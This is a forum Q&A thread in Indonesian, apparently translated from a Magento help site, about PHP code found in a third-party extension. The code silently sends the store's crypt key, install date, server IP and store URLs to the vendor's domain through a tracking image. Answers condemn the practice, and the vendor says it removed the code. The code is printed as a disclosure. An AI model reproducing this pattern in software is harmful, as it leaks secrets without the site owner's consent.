Maafkan ketidaktahuan saya, tetapi kunci crypt digunakan untuk mendekripsi data Magento, kan? Apakah ada alasan bagus untuk modul mengakses ini? Saya menemukan kode ini setelah menginstal Manajer Konten Lanjutan ...
<div id="banana-tracker">
<?php
$stores = Mage::app()->getStores();
$key = (string)Mage::getConfig()->getNode('global/crypt/key');
$date = (string)Mage::getConfig()->getNode('global/install/date');
$serverIp = $_SERVER['SERVER_ADDR'];
$params = 'key='.$key.'&date='.$date.'&';
foreach($stores as $store)
{
$params .= 'store_'.$store->getCode().'='.urlencode(Mage::app()->getStore($store->getId())->getBaseUrl(Mage_Core_Model_Store::URL_TYPE_LINK)).'&';
}
?>
<img src="http://www.advancedcontentmanager.com/images/distant/banana-tracker.gif?<?php echo $params; ?>time=<?php echo time(); ?>&serverip=<?php echo $serverIp; ?>" />
magento-1.9
TylersSN
sumber
sumber
Jawaban:
Ya ... ada alasan bagus.
Mereka ingin mengetahuinya dan mencatatnya, untuk berjaga-jaga. :)
Anda harus menghapus instalan ekstensi (kemungkinan besar sudah Anda lakukan). Anda tidak boleh menggunakan ekstensi yang "beranda telepon", tidak peduli data apa pun yang mereka kirimkan pulang.
Anda mungkin ingin mendaftar ekstensi di sini agar orang lain dapat melihatnya: Kode Lucu / Tidak Berguna / Mengerikan dari Magento Extensions
sumber
Kami mendapat permintaan dukungan tentang fitur ini hari ini. Kami sudah menyelesaikannya dan menghapus kode ini. Rilis baru tersedia untuk semua pelanggan kami di area pelanggan mereka (gratis, karena kami menawarkan pembaruan tanpa batas).
Saya tahu kita perlu membenarkan ini, jadi mari kita lakukan itu:
Kami menyadari bahwa ini adalah kesalahan, dan ini adalah kekuatan komunitas dan sistem open source: kami dapat memperbaiki dan meningkatkan lebih cepat. Terima kasih semua karena telah memberi tahu kami, kami akan melakukan lebih banyak upaya pada kerentanan sekarang.
sumber